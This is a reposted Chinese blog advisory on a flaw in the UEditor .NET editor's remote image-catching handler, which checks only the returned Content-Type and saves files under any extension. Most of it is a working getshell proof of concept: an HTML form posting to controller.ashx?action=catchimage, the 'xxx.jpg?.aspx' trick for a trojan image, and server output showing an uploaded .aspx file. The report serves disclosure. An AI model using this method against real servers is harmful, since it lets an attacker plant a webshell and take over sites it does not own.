UEditor .net版本 getshell

原文地址:http://www.nsoad.com/Article/Vulnerabilityanalysis/20180823/1218.html

索马里的乌贼 • 2018-08-23 22:06:29

发布时间:2018-08-03
公开时间:2018-08-21
漏洞类型:逻辑漏洞
危害等级:高
漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
测试版本:github最新版

漏洞详情

https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs
Crawler方法对source[]的检查仅仅是一个ContentType

 if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }

并没有检查文件扩展名就直接保存到本地 导致getshell

POC:

<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p>
  <input type="submit" value="Submit" />
</form>

shell addr 可以用http://www.xxx.com/xxx.jpg?.aspx的方式使用包含木马的图片(为了使服务器返回的ContentType是image/xxx)
也可以用http://www.xxxx.com/xxx.php?.aspx然后在xxx.php中自己设置ContentType

返回如下

{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}

 

版权属于:jianshu

转载时必须以链接形式注明原始出处及本声明。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值